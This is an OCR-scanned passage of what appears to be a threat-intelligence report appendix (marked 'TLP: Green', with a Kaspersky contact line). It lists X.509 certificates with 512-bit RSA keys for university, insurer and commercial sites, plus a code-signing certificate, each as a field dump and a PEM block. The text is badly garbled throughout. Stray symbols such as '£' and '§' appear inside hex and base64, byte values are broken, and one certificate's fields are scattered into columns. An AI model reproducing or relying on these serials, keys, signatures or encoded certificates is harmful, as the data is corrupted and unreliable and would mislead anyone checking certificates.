. GDAWGBTGFpNOFhfsFq6M1Hbzhm3FdG6EdzALBgNVHQ8EBAMCBPAWDQY JKoZ ThveN
{ AQEFBQADGYEAi0kJI2//vXOLREf+0g67Pw/MaeZ300iI3eLRredZPTnolS1KOJISWz :
{Bjcf8L1yVq/ZsM1Ivoo8ogcQH3tiyQECR6mA £ydSEYi0xghb5Vea05I9WlyzgRTP |
§G+r9QOgZEZZFJU35JoTYTchdenX+Yd5xdchQVaESon79iEDSIg6I: :

'END CERTIFICATE

%Certiﬁcate:
Data:
Version: 3 (0x2)
Serial Number:
01:00:00:00:00:01:1e:de:de:a3:da
Signature Algorithm: shalWithRSAEncryption

Issuer: C=BE, O=Cybertrust, OU=Educational CA,

CN=Cybertrust Educational CA

Validity
Not Before: Jan 16 08:55:33 2009 GMT
Not After : Jan 16 08:55:33 2012 GMT

Subject: C=GB, ST=England, L=London, O=London Metropolitan§
University, OU=ISS, CN=skillsforge.londonmet.ac.uk :

Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:

00:08:73:f6:45:£2:83:21:4e:66:5d:
aa:21l:1le:cb:1e:03:41:dc:1f:cd:1b:
ca:ed:46:f2:be:8f:32:92:1c:al1:69:
ee:e2:51:bb:9c:bf:68:c3:6f:61:8a:

S5b:c4:bf:44:b9
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Key Usage: critical
Digital Signature, Key Encipherment
X509v3 Authority Key Identifier:

keyid:65:65:A3:3D:D7:3B:11:A3:0A:07:

B:76:77:50:E1
X509v3 Subject Key Identifier:

14:5A:F5:85:8E:AC:81:77:46:5F:22:70:

F5:28:E1
X509v3 CRL Distribution Points:

ag:
2c:
06:
de:

25:

39:

7d:
do:
08:
:be:

eb

37:

2E:

db

29:
f6:
:b9:

C9:

64 :

ad:
3f:

46:

42:47:5:

ES5:EF:
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Full Name:
URI:http://crl.globalsign.net/educational.crl
Authority Information Access:
CA Issuers URI: :
http://secure.globalsign.net/cacert/educational.crt :
Netscape Cert Type: :
SSL Client, SSL Server
Signature Algorithm: shalWithRSAEncryption
2a:fd:le:cb:cd:45:42:24:44:32:72:bd:3c:cb:27:31:4a:8b:
2a:25:48:65:06:31:fd:81:5d:ac:el:5b:6a:£ff:96:2a:50:73:
le:16:9b:2a:4f:18:ee:fe:26:30:d0:cb:96:f6:11:e6:2b:0f:
95:d1:4b:80:cd:a8:aa:0c:1b:6c:ad:7a:41:af:db:9f:00:b1:
64:51:d3:db:16:ad:27:98:23:a8:43:dc:3a:2c:17:79:7b:90:
71:fa:ad:00:9c:ec:dl:24:b7:ba:81:de:35:e9:d6:fe:a0:92:
46:69:02:86:36:04:57:0ba:90:00:92:24:e9:44:2b:ca:d8:09:
54:00:2d:64:21:24:c0:d4:77:86:de:77:04:2b:f2:6b:a8:1d:
de:90:5b:df:32:d3:45:ee:32:e6:60:a6:07:77:02:ef:98:d1:
9d:de:40:3b:42:74:dd:c6:da:bb:2f:1a:42:58:93:db:2e:1f:
£9:23:41:ab:e7:63:c7:1c:d3:ec:f3:bf:60:41:64:0c:ef:22:
b3:al0:cb:ae:bd:32:0e:0£:3c:00:13:00:32:47:62:b5:aa:22:
To:76:0b:d2:£2:£f5:eb:92:¢c8:£8:6c:9d:d3:ad:£f7:£f1:09:c6:
94:51:31:5a:e8:1b:68:76:d4:3a:00:83:b3:3f:ef:03:a2:d2:
c5:25:d8:d4

gBEGIN CERTIFICATE :
:MIIDnjCCRAoagAwIBAgILAQAAAAABHEt7e090wDQYJKOZIhveNAQEFBQAWXZELMAKG :
§AlUEBhMCQkUXEZARBgNVBAoTCkN5YmVdeJ1cBQXFZAVBgNVBAsTDkadWthle§
P bmFsIENBMSIwIAYDVQQDEx1DeWJ1cnRydXNOIEVKkAWNhdG] vbmFs IENBMB4XDTAS
§MDExNjA4NTUZM10XDTEyMDExNjA4NTUZM1ongOXCzAJBgNVBAYTAdeMRAngYD§
§VQQIEwdemdSYW5kMQ8wDQYDVQQHEwZMb25kb24xJZAlBgNVBAoTHkvamRVbiBN§
 ZXRyb3BvbG10YW4gViW5pdmVyc210e TEMMAOGALUECXMDSVNTMSQwIGYDVQQDExtz
§a2leHNmb3JnZSSSb25kb25tZXQuYWMudWszDANngqhkiG9wOBAQEFAANLADBI§
: AKEAUHP2REKDIUSmXah9KaSqIR7LHGNB3B/NGyzQ97j/K7Ubyvo8ykhyhaQYI27nu :
§41G7nL9ow29hit7lkabe9EuQIDAQABO4HzMIHwMA4GA1UdDwEB/wQEAwIFoDAf§
§BgNVHSMEGDAWgBRlZaM91zsRoonJTfJQkpbdndQ4TAngNVHQ4EFgQUFFr1hY6s
: gXdGXyJwOS5k5e/1KOEwOgYDVRO £BDMwMTAvOC2gK4YpaHROcDovL2NybC5nbG91
§YszaWduLmSIdC9lZHVjYXpr25th5jcmwawYIKWYBBQUHAQEEQZBBMD8GCCSG§
* AQUFBzAChjNodHRwO1i8vc2VidXJlLmdsb2 JThbHNpZ24ubmV0L2NhY2VydC91ZHV
YXRpb25hbC59cnOwEQYJYIZIAYb4QgEBBAQDAGbAMAOGCSGSIb3DOERBQUARAIR
| AQAQ/RTLzUVCIEQycr08yycxSosqJUh1BIHIGV2s4Vtq/5YqUEMeFpsqTxju/iYw |
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§OMuW9hHmKw+VOUquaiqDBtspHpBr9quLFkUdeFqumCOoQ9w6LBd5€5Bx+qOA§
:n0zRJILe6gd416db+oJIGabKGNgRXupuwkiTpRCVK2A1UsC1kISTAIHeG3ncEK/Jr
§qB3em1vfMtNF7jLmYKYHdevaGd3kA7Qanxtq7prCWJPbLh/510Gr52PHHNPs§
£ 87990QWOM7 yKzoMuuvTIODzwAETAYR2K1qiJ7dgvS8vXrksjdbI3TrffxucalUTFa |
{ 6BtodtQ6ATOzP+8DotLFJIA]U :
{END CERTIFICATE

%Certiﬁcate:
Data:
Version: 3 (0x2)
Serial Number: 19771 (0x4d3b)
Signature Algorithm: shalWithRSAEncryption
Issuer: C=US, O=Anthem Inc, OU=Ecommerce, CN=Anthem Inc
Certificate Authority
Validity
Not Before: Apr 22 18:15:10 2009 GMT
Not After : Apr 22 18:15:10 2010 GMT
Subject: C=US, ST=Indiana, L=Indianapolis, O=Anthem
Insurance Company Inc, OU=EBusiness, CN=ahi.anthem.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption

PublicKey: (512 bit)

Modulus:
00:d4:95:e5:13:d8:7£:91:27:29:£6:76:72:9%9a:13:
a6:e2:4b:ec:16:ed:fc:a5:d8:£9:a1:£3:57:4b:85:
56:ec:ca:80:9f:0c:23:9d:36:45:db:ee:aB:ee:47:
07:33:21:4:93:72:7d:00:02:98:08:d8:88:¢c9:45:
b5:22:cc:bc:77

Exponent: 65537 (0x10001)

X509v3 extensions:
X509v3 Basic Constraints: critical

CA:FALSE

X509v3 Subject Alternative Name:
email:dlaitmiddleware@anthem.com
X509v3 Key Usage: critical
Key Encipherment
X509v3 Authority Key Identifier:

keyid:FA:1A:DC:3E:5D:A6:B5:FD:FA:5F:6C:CB:28:40:D3: E

0:97:A2:AA:AC :
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DirName:/C=US/0O=GTE Corporation/OU=GTE CyberTrust

Solutions, Inc./CN=GTE

CyberTrust Global Root

serial:07:27:16:11

X509v3 Subject Key Identifier:
6B:46:CC:B6:F4:8F:05:14:46:5D:D8:23:B8:05:73:E3:58:
TE:D6:A6
Signature Algorithm: shalWithRSAEncryption

71:72:2a:c2:fc:70:13:d6:7a:a7:08:50:f2:e5:¢c9:7d:61:e8:
3d:bd:98:89:2a:76:3f:16:1e:c1:2d:31:8pb:81:06:95:83:5b:
d3:48:35:3d:78:9a:e3:76:¢c9:89:a0:8a:74:a0:cd:ae:56:cf:
30:¢c7:72:d2:72:d0:aa:4b:9¢c:18:13:41:90:30:45:6d:bd:24:
d4:88:1e:83:f3:ef:ac:d7:¢3:6£:82:2d:10:20:d6:06:01:36:
45:50:13:04:32:60:39:73:¢c9:7d:67:84:d4:ab:87:fc:c9:2a:
8d:ee:63:7a:e2:f1:8c:4a:47:7f:3a:cb:6e:68:a2:cl:32:c6:
04:6:7a:35:45:46:05:99:29:90:2e:a8:2e:dd:8a:d4:8c:31:
2e:77:57:84:62:87:fa:el:60:2a:2a:e7:15:4c:4b:18:0d:a7:
a2:cb:d6:32:2e:40:73:51:65:76:df:08:d4:£5:fa:29:d9:c3:
d4:5f:12:dc:ca:cd:4d:1le:ca:de:9f:c3:¢c9:5d:53:4c:d2:54:
14:43:e5:d8:2b:9c:7c:7e:da:33:d7:69:80:43:dd:96:3d:64:
aa:91:63:5f£:48:50:70:33:d7:85:3a:a9:d7:74:71:da:4a:82:
cf:01:14:82:f6:95:72:d8:a9:24:3e:04:14:94:0c:17:2c:6f:
8a:93:1a:a2

!BEGIN CERTIFICATE :
{MIIDsSTCCApmgAwWIBAGICTTswDQYJKoZ IhveNAQEFBQAWYTELMAKGA1UEBhMCVVMx '
| EzZARBgNVBAOTCkFudGh1bSBJIbmMxEj AQBgNVBASTCUVib21t2XJ ZTEPMCCGALUE |
: AXMgQW50aGVt IE1uYyBDZXJ0aWZpY2F0ZSBBAXRob3IpdHkwHhcNMDkwNDIyMTgx
| NTEwWhcNMTAWNDI yMTgxNTEwW ] CBijELMAKGALUEBhMCVVMXEDAOBGNVBAGTBO1u |
: ZG1hbmExFTATBGNVBACTDE1uZGlhbmFwb2xpczElMCMGALUEChMCOW50aGVEIELY :
{ C3VyYW53ZSBDb21wYW55IELluYZESMBAGAIUECKMJIRUJ1c21uZXNzMRCwEFQYDVQQD !
| Ew5haGkuYW50aGVt LuNvbTBCMAOGCSGGS Ib3DOEBAQUAAOSAMEGCQQDULUT2H+R |
$Jyn2dnKaE6biS+wiW7fy12Pmh81dLhVbsyoCfDCOdANkXb7gjuR7czIeSTcn0AApPgT :
{ 217 JRbULzLx3AgMBAAG) ggEPMI IBCZAMBGNVHRMBA£BEA] AAMCCGALUEQQGMB6B |
: HGRSLWFpdC1taWRkbGV3YXJ1QGFudGh1bS59b20wDgYDVROPAQH/BAQDAGUGMIG] :
 BYNVHSMEgZowgZeAFPoa3D5dprX9+19syyhA0+CXogqgsoXmkdzB1MQswCQYDVQQG '
| EwJVUZEYMBYGALUEChMPR1RFIENvCnBvemF0aW9uMScwIQYDVOQLEx SHVEUGQ31i |
: ZXJUcnVzdCBTb2x1dGlvbnMs IE1uYy4xIzAhBgNVBAMTGkAURSBDeWJ1c1RydXNO :
{ IEdsb2JhbCBSb290ggQHIXYRMBOGAL1UADGQWBBRrRsy2 918 FFEZA2CO4BXPIWHTH |
: pjANBgkqhkiGOwOBAQUFAAOCAQEACK IqWvWE9Z6pwhQ8uXJEWHOPb2Y1iSp2PxYe |
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i wS0x14G21YNb00g1PXia43bJiaCKAKDNr 1IbPMMdyOnLOgkucGBNBkDBFbbOk1Ige |
' g/PvrNEfDb4ItECDWBGE2RVATtDIrOXPJIfileE1Kul/Mkgje5jeulxjEpHfzrLlbmii
§wTLGBOZ6NUVGBkakC6oLt2K1waLndXhGKH+quKirnFUxLGAZnoszMq5AC1Fl§
: dt8I1PX6qdnD1F8S3MrNTR7K3p/DyV1TTNJUFEP12CucfH7aM9dpgEPdl 1kqgpFy :
§XOthzPXthpl3Rx2kqu7EUgvaVctipJD6OFJQMFyxvipMaog:: :

{END CERTIFICATE

%Certiﬁcate:
Data:
Version: 3 (0x2)

Serial Number: 1707608080

Signature Algorithm:
Issuer: C=TW, O=TAIWANCA.
COM Inc., OU=SSL Certification Service Provider,

CN=TaiCA Secure CA
Validity

(0x65c80810)
shalWithRSAEncryption

Not Before: Jul 2 06:34:05 2010 GMT

Not After

Subject: C=TW, ST=Taipei,
OU=TRADEVAN, CN=www.esupplychain.com.tw
Subject Public Key Info:

Public Key Algorithm:

Modulus:

00:d2:80:
87:a0:ad:
3c:d5:23:
51:4d:7d:
c3:d8:bf:
Exponent: 65537

X509v3 extensions:

52:
1d:
df:
24
13:

89
27
Oa

c3:

dl

Jul 17 15:59:59 2011 GMT
L=Taipei,

rsaEncryption
PublicKey: (512 bit)

:4d:
:cl:
:22:
do:

eb
ab:
b9o:
64:

:b7:dd:
e3:94:
a0:19:
0a:52:

(0x10001)

X509v3 Authority Key Identifier:

keyid:D4:85:27:D2:27:A4:BE:AB:

9:99:4E:46:2E
X509v3 Subject Key Identifier:

4B:EC:AE:F9:6A:02:DF:92:0A:0D:

1E:56:D4

X509v3 CRL Distribution Points:

Full Name:

56:
27:
53:
eb:

S5E:

6B:

47 :
1b:
5d:
84 :

2F:

FC:

56:
22:
85:
59:

41 :

B9:

O=TRADEVAN,

09:
f0:
Te:
£f2:

1B:

5A:

ca

71:
d5:
:2a:
2e:

EA:

CO:

ce:
6C:

68:

52:24:3§

77:BB:

TLP: Green
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URI:http://sslserver.twca.com.tw/sslserver/
revokelO.crl
X509v3 Certificate Policies:
Policy: 2.16.158.3.1.8.5
User Notice:
Explicit Text: Restriction =3.2.1.1
CPS: www.twca.com.tw
X509v3 Basic Constraints:
CA:FALSE
Signature Algorithm: shalWithRSAEncryption
8e:94:2c:a7:d4:ee:6f:d4:4b:3e:bl:ee:88:75:96:c2:52:0b8:
37:ed:c3:13:51:4f:af:8c:e8:1la:0a:cc:c8:9d:81:16:06:2f:
e5:48:a7:93:1e:10:07:4a:53:a2:f6:41:24:93:29:93:¢c3:58:
88:7c:22:a4:£5:7f:53:b0:de:2f:d2:36:8b:1d:ed:54:c6:53:
d0:d5:2e:26:¢cc:29:90:94:40:14:2e:19:78:89:29:54:02:6b:
££:93:9d:b2:83:¢c2:19:00:21:10:c9:f4:bd:bd:£f0:35:2e:44:
4f:7c:00:35:33:ad:52:ac:49:0c:67:0e:48:ca:50:£f£f:8b:18:
la:b5

!BEGIN CERTIFICATE :
§MIIDDTCCAnagAWIBAgIEZCgIEDANngqhkiG9wOBAQUFADBXMQSWCQYDVQQGEWJU§
{ VZEbMBkGA1UEChMSVEFJVOFOLUNBLKNPTSBJIbmMuMS swKQYDVOQLEyJTUOWGQ2VYy '
§dGlmaWthlebiBTZXJzaWNlIFByb3ZpzGVyMngFgYDVQQDEw9UYW1DQSBTZWN1§
: cmUgQOEWHhcNMTAWNZAYMDY zNDAIWhecNMTEwWNzE3MTULOTUSW)B5MQswCQYDVQQG
gEWJUVZEPMAOGAlUECBMGVGFpCGVpMQ8WDQYDVQQHEWZUYWlWZWkXEjAQBgNVBAOT§
§CVRSQURFLVZBTjESMBAGAlUECXMJVFJBREUthFOMSAWHgYDVQQDExd3d3CuZXNl§
: cHBseWNoYW1uLmNvbS50dzBcMAOGCSGSIb3DQEBAQUAAOSAMEGCQQDSgFKJITeu3
§3VZBVglxzoegrROnwanlchIvDVbDZVI98KIrmgGVNdhX7KKlFNfSTDOGQKUqu§
:WEIuaMPYvxPRAGMBAAG])geOwgeowHwYDVROIBBgwFoAU1IUnOiekvgteLOEb61 Tk :
§OZlORi4WHQYDVROOBBYEFEVSrvlth+SCg1r/LlawHe7HlbUMEQGA1UdeQ9MDsw§
: 0aA30DWGM2h0dHA6LY9zc2x22XJ22XIudHdYS5ib20udHeve3Nsc2VydmVyL3al |
: dm9r ZTEwLmNybDBXBgNVHSAEUDBOMEWGB2CBHgMBCAUWQTAIBggrBgEFBQCCAT AW
§GhRSZXNOcmljdlebiA9My4ijEuMTAnggngEFBQcCARYPdBdBLnR3Y2EuY29t§
' LnR3MAkKGA1UJEWQCMAAWDQYJK0ZIhveNAQEFBQADGYEA ) pQsp 9Tub9RLPrHULHWW *
§le4N+3DE1FPr4zoGngyJZBFng5Uinkx4QBOpTovZBpJMkaNYinipPV/U7De§
{19121ix3tVMZTONUuJswpmSRLECAZe IkpVAJT/50ds0PCGhChEMNOvh3wNSSET3wA |
I NTOtUgxJIDGcOSMpQ/4sYGrU= :
{END CERTIFICATE

TLP: Green For any inquiries, please contact intelreports@kaspersky.com
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iCertiﬁcate:
Data:
Version: 3 (0x2)
Serial Number: 19771 (0x4d3Db)
Signature Algorithm: shalWithRSAEncryption
Issuer: C=US, O=Anthem Inc, OU=Ecommerce, CN=Anthem Inc
Certificate Authority
Validity
Not Before: Apr 22 18:15:10 2009 GMT
Not After : Apr 22 18:15:10 2010 GMT
Subject: C=US, ST=Indiana, L=Indianapolis, O=Anthem
Insurance Company Inc, OU=EBusiness, CN=ahi.anthem.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption

PublicKey: (512 bit)

Modulus:
00:d4:95:e5:13:d8:7£:91:27:29:£6:76:72:%9a:13:
a6:e2:4b:ec:16:ed:fc:a5:d8:£9:a1:£3:57:4b:85:
56:ec:ca:80:9f:0c:23:9d:36:45:db:ee:a8:ee:47:
P7:33:21:e4:93:72:7d:00:02:98:08:d8:88:c9:45:
b5:22:cc:bc:77

Exponent: 65537 (0x10001)

X509v3 extensions:
X509v3 Basic Constraints: critical

CA:FALSE

X509v3 Subject Alternative Name:
email:dlaitmiddleware@anthem.com
X509v3 Key Usage: critical
Key Encipherment
X509v3 Authority Key Identifier:

keyid:FA:1A:DC:3E:5D:A6:B5:FD:FA:5F:6C:CB:28:40:D3: E

0:97:A2:AA:AC

DirName:/C=US/O=GTE Corporation/OU=GTE CyberTrust

Solutions, Inc./CN=GTE

CyberTrust Global Root

serial:07:27:16:11

X509v3 Subject Key Identifier:
6B:46:CC:B6:F4:8F:05:14:46:5D:D8:23:B8:05:73:E3:58:

TE:D6:A6

Signature Algorithm: shalWithRSAEncryption

TLP: Green For any inquiries, please contact intelreports@kaspersky.com
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71:72:2a:¢c2:£fc:70:13:d6:7a:a7:08:50:£f2:e5:¢9:7d:61:e8:
3d:bd:98:89:2a:76:3f:16:1e:¢c1:2d:31:8pb:81:06:95:83:5b:
d3:48:35:3d:78:9a:e3:76:¢c9:89:a0:8a:74:a0:cd:ae:56:cf:
30:¢c7:72:d2:72:d0:aa:40:9¢:18:13:41:90:30:45:6d:bd:24:
d4:88:1e:83:f3:ef:ac:d7:¢c3:6£:82:2d:10:20:d6:06:01:36:
45:50:13:04:32:6b:39:73:¢9:7d:67:84:d4:ab:87:fc:c9:2a:
8d:ee:63:7a:e2:f1:8c:4a:47:7f:3a:cb:6e:68:a2:cl:32:c6:
04:6:7a:35:45:46:05:99:29:90:2e:a8:2e:dd:8a:d4:8c:31:
2e:77:57:84:62:87:fa:el:60:2a:2a:e7:15:4c:4b:18:0d:a7:
az2:cb:d6:32:a2e:40:73:51:65:76:df:08:d4:£f5:fa:a9:d9%:c3:
d4:5f:12:dc:ca:cd:4d:1le:ca:de:9f:¢c3:¢c9:5d:53:4c:d2:54:
14:43:e5:d8:2b:9c:7c:7e:da:33:d7:69:80:43:dd:96:3d:64:
aa:91:63:5£:48:50:7b:33:d7:85:3a:a9:d7:74:71:da:4a:82:
cf:bl1:14:82:£6:95:72:d8:a9:24:3e:04:14:94:0c:17:2c:6f:
8a:93:1a:a2

{BEGIN CERTIFICATE :
{MIIDsTCCApmgAWIBAGICTTswDQYJKoZIThvcNAQEFBQAWYTELMAKGATUEBhMCVVMx *
| EzZARBgNVBAOTCkFudGh1bSBJIbmMxEjAQBGNVBASTCUVib21t2ZXJj ZTEPMCCGALUE '
{ AxMgQW50aGVt IELuYyBDZXJ0aWZpY2F0ZSBBAXRob 3 JpdHkwHhcNMDkwNDIyMTgx
| NTEwWhcNMTAWNDIyMTgxNTEwW]CB1ijELMAKGA1UEBhMCVVMXEDAOBGNVBAGTBOLY '
§ZGlhmexFTATBgNVBAcTDEluZGlhbmeb2xpczElMCMGAlUEChMcQWSOaGVtIElu§
{c3VyYW5jZSBDb21wYW55IE1uYzESMBAGAIUECXMIRUJ1c21uZXNZMRCWEQYDVOQD |
{EwShaGkuYW50aGVt LmNvbTBcMAOGCSGGS Tb3DQEBAQUAAOSAMEGCQQDULeUT2H+R
: Jyn2dnKaE6biS+wii7£y12Pmh81dLhVbsyoCEDCOANkXbTqjuR7czIeSTenOAAPGT |
: 2137 JRbU1zLx3AgMBAAG] ggEPMI IBCZAMBgNVHRMBAf8EAJAAMCCGA1UJEQQQMB6B
§HGRsLWdeCltaWRkbGVBYXJlQGFudGhlbs5jb20ngYDVROPAQH/BAQDAgUgMIGi§
: BgNVHSMEgZowgZeAFPoa3D5dprX9+19syyhA0+CXoggsoXmkdzB1MQswCQYDVQQG :
§EWJVUZEYMBYGAIUEChMPRlRFIEchnBvcmFOaW9uMScmQYDVQQLEx5HVEUgQ3li§
§ZXJUchZdCBszxldlebnMsIEluYy4xIzAthNVBAMTdeURSBDeWJlclRdeNo§
: IEdsb2JhbCBSb290ggQHIxYRMBOGA1UADgQWBBRrRsy2 9T 8FFEZA2CO4BXPIWHTW
| pjANBgkqhkiGIwOBAQUFAROCAQEACKIqWvXWE9Z6pwhQ8uXJEWHOPL2YiSp2PxYe |
$wS0x14G21YNb00g1PXia43bJiaCKAKDNr1bPMMdyOnLQgkucGBNBkDBFbbOklIge :
i g/PvrNEfDb4ItECDWBGE2RVATtDJIrOXPJfWeElKuH/Mkqje5jeulxjEpHfzribmii
§wTLGBoz6NUVGBkakC6oLt2K1waLndXhGKH+quKirnFUxLGAZnoszMq5Ac1Fl§
:dt8I1PX6gdnD1F8S3MrNTR7K3p/DyVITTNJUFEP12CucfH7aM9dpgEPdljlkgpF]j :
§XOthzPXthpl3Rx2kqu7EUgvaVctipJD6OFJQMFyxvipMaogZ: :
*END CERTIFICATE
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iCertiﬁcate:
Data:
Version: 3 (0x2)
Serial Number: 820 (0x334)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=US, O=Equifax Secure Inc., CN=Equifax Secure
eBusiness CAl
Validity
Not Before: Feb 28 05:56:46 2005 GMT
Not After : Mar 31 05:56:46 2007 GMT
Subject: C=IS, O=secure.hotelreykjavik.is,
OU=https://services.choicepoint.net/get.jsp?GT50237618,
OU=See www.freessl.com/cps (c)04, OU=Domain Control
Validated StarterSSL(TM), CN=secure.hotelreykjavik.is
Subject Public Key Info:
Public Key Algorithm: rsaEncryption

PublicKey: (512 bit)

Modulus:
00:db:6b:0d:53:8d:el:71:fl:e2:48:aa:eb:94:d0:
fa:14:c6:24:£8:39:db:22:dc:a7:8e:46:31:10:49:
88:42:af:f2:9a:ch:c7:a2:ef:ec:b5:8c:a3:49:f4:
47:cf:12:4f:e8:6c:dd:90:5e:91:0d:87:72:6a:17:
ea:d5:71:14:bd

Exponent: 65537 (0x10001)

X509v3 extensions:
X509v3 Key Usage: critical
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
X509v3 CRL Distribution Points:

Full Name:

URI:http://crl.geotrust.com/crls/ebizcal.crl
X509v3 Authority Key Identifier: :
keyid:4A:78:32:52:11:DB:59:16:36:5E:DF:C1:14:36:40:6:

A:47:7C:4C:Al :

Signature Algorithm: md5WithRSAEncryption
78:45:fd:b4:64:e8:50:16:00:£f0:35:39:cd:ab:b6:ed:ee:0d:
71:3b:2e:64:8e:92:42:f6:0d:23:28:¢c2:f8:e2:df:d0:ea:9c:
ea:d7:ad:81:80:f2:ae:cb:95:70:7d:e2:2f:c0:21:9a:d7:0c:
d2:30:94:a6:08:ca:f£f:33:80:33:29:fd:f6:14:f5:49:c8:ae:
ld:eb:6b:6e:bf:58:d3:£f1:d5:4b:f1:3c:3a:0d:06:1c:ac:29:

TLP: Green For any inquiries, please contact intelreports@kaspersky.com
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be:de:9%a:d5:77:a7:37:€6:27:48:5b:b0:bc:ac:48:50:b6:db:
26:aa:27:db:c5:£3:8£:43:09:92:46:48:ac:£4:98:60:05:ab:
c6:0b

:BEGIN CERTIFICATE :
§MIIC4jCCAkugAwIBAgICAzQwDQYJKoZIhchAQEEBQAwUzELMAkGAlUEBhMCVVMx§
§HDAaBgNVBAoTEOdeWlengU2VjdXJlIEluYy4ijAkBgNVBAMTHUdeWleng§
$U2VidXJ1IGVCAXNpbmVzcyBDQSO0xMBAXDTAIMDI yODAINTYON1oXDTA3MDMzZMTAL
§NTYONlowgeOXCzAJBgNVBAYTAklTMSEwHwYDVQQKEXhzZWNlchuaG9OZnyZXlr§
§amFZaWsuaXMxPDA6BgNVBAsTMZhOdHBin8vc2VydmljZXMuYZhvaWNch9panu§
§meOLZdldC5qc3A/R1Q1MDIzNzYXODEmMCQGAlUECXMdUZVlIHd3dy5mcmVchNs§
§LvabS9jcHMgKGMpMDQxMjAngNVBAsTKUvaWpriBDb250cm9sIFZhbleYXRl§
P ZCAtIFNOYXJ0ZXJITUOWOVEOPMSEWHWYDVQQDExhz ZWN1cmUuaG90ZWxyZX1lramF2 :
gaWSuaXMWXDANngqhkiG9WOBAQEFAANLADBIAkEA22sNU43thHiSKrrlND6FMYkg
4+DnbItynjkYxXEEmIQq/ymsXHou/stYyjSfRHzxJP6Gzdml 6RDYdyahfqlXEUVQID :
§AQABOZ4wbDAOBgNVHQ8BAfSEBAMCBPAWOQYDVROfBDIwMDAuOCngOYoaHROCDOV§
§L2NybC5nZW90chde5jb20vYBJscy9lle6Y2EmeNybDAfBgNVHSMEGDAWgBRK§
: eDJSEdtZFjZe38EUNKBGR3xMOoTANBgkghkiGIwOBAQQFAAOBGQB4RE20Z0hQFgDW :
I NTnNg7bt7glx0y5kjpJC9g0jKML4A4t/Q6pzgl 62BgPKuy5VwfeIvwCGalwzSMJISm :
{ CMr/M4AZKE32FPVIyK4d62tuvljT8dAVL8Tw6DOYcrCm+3prvd6c35idINTC8rENQ |
P ttsmgifbxfOPQ7mSRkis9ThgBavGCw== :
{END CERTIFICATE

%Certiﬁcate:
Data:
Version: 3 (0x2)
Serial Number:
26:7b:de:88:8pb:cl1:50:15:11:00:£2:54:d8:ca:ed:67
Signature Algorithm: shalWithRSAEncryption :
Issuer: C=US, O=Thawte, Inc., CN=Thawte Code Signing CA G2':
Validity :
Not Before: Jul 19 00:00:00 2013 GMT
Not After : Jul 16 23:59:59 2014 GMT
Subject: C=CN, ST=Henan, L=Xuchang, O=Xuchang Hongguang
Technology Co.,Ltd., CN=Xuchang Hongguang Technology
Co.,Ltd.
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (2048 bit)
Modulus:

TLP: Green For any inquiries, please contact intelreports@kaspersky.com
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00:d0:5£:76:e6:03:cf:29:ad:17:01:b3:af:9%e:3c:
4d:03:45:5c:e7:4d:92:c4:2a:al:5¢c:4£:20:c3:86:
49:09:72:4£:81:60:2£:95:1¢c:9d:65:06:50:0e:72:
71:£9:9d:f6:8f:98:ec:5c:7b:ef:3e:a6:43:ed:35:
0e:44:81:e7:60:93:fc:13:d1:67:a7:3f:39:b6:c5:
4a2:95:89:48:e0:£4:92:46:e2:d4:cf:de:66:b4:£0:
09:73:35:2f£:37:43:89:34:94:88:49:eb:93:84:24:
48:a5:0a:6f:d3:0b:8d:28:40:ca:09:0a:d2:ee:85:
18:60:bc:af:90:21:08:ff:7¢c:87:ab:30:cc:78:6f:
95:26:19:80:cc:57:5b:fa:33:£d:68:33:5f:4c:8a:
73:03:£3:82:c6:b8:51:c6:5e:d4:1£:59:c0:61:da:
bO0:5a:e3:b6:62:f3:ac:42:13:al:81:c3:1d:eb:al:
76:a28:a8:83:dd:76:bd:af:15:71:47:55:09:55:e5:
5b:a8:49:15:4e:6d:97:¢c9:9e:4b:81:47:14:35:ae:
09:dc:0d:39:2e:5c:41:da:65:fb:fe:89:c6:ca:02:
4b:1d:9£:51:£f4:00:8a:43:8d:9b:ce:al:5e:b9:23:
b5:3b:ee:9f:1£:01:30:5d:93:2a:a5:d6:4b:bd:4c:
1b:0f
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints: critical
CA:FALSE
X509v3 CRL Distribution Points:
Full Name:
URI:http://csg2crl.
thawte.com/ThawteCSG2.crl
X509v3 Extended Key Usage:
Code Signing, Microsoft Commercial Code Signing
2.5.29.4:

Authority Information Access:
OCSP URI:
http://ocsp.thawte.com
Netscape Cert Type:
Object Signing
Signature Algorithm: shalWithRSAEncryption
20:71:27:39:cl:af:ca:1b:47:0e:9p:81:44:5a:fe:e6:27:bl:
35:fa:c2:94:ac:ed:e2:1b:83:9a:d5:¢c8:92:06:a7:d3:6f:ef:
39:42:31:87:3d:66:d8:e5:fb:£f9:£2:47:77:9c:01:ee:56:9a:

TLP: Green For any inquiries, please contact intelreports@kaspersky.com
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72:32:0£:60:ce:94:3f:26:90:55:8c:97:3d:15:¢9:97:4e:ba:
24:p8:cc:1d:46:ac:5e:27:c6:9€:e6:07:23:9d:31:36:d3:f4:
dc:88:71:33:¢c5:71:£d:8f:1e:05:22:c0:89:ca:96:75:9c:fa:
db:72:b2:ad:89:a9:4a:4b:82:ec:9e:70:87:ce:44:7£:79:08:
2e:ed:29:e8:35:0b:be:39:da:f6:3c:44:e9:¢c1:85:f3:bb:b2:
a8:1c:30:d4:ef:fc:ac:64:£4:8b:38:37:ed:3c:92:18:3d:1f:
68:7a:cd:2e:58:6d:e5:24:2e:27:4a:ea:00:07:3a:e5:30:00:
7d:cl1:3d:09:89:1e:ae:aa:fb:de:ed:59:6b:ed:32:88:3d:a5:
83:3f:40:fb:22:04:81:d3:de:92:ae:49:57:a7:16:4a:ce:29:
87:dc:c4:90:1b:d8:ac:6b:be:eb5:15:c2:ed:af:cf:5a:bc:d5:
25:¢c0:52:26:£5:3¢:50:21:9a:d7:11:69:6e:31:b4:64:£9:46:
86:a5:34:00

!BEGIN CERTIFICATE :
{MIIEOjCCAYKgAwIBAgIQJnveiIvBUBURAPJU2MrtZzANBgkqhkiGOwOBAQUFADBK :
{ MQswWCQYDVQQGEWJVUZEVMBMGA 1 UEChMMVGhhd3R1LCBJIbmMuMSQwIgYDVQQDEXLU '
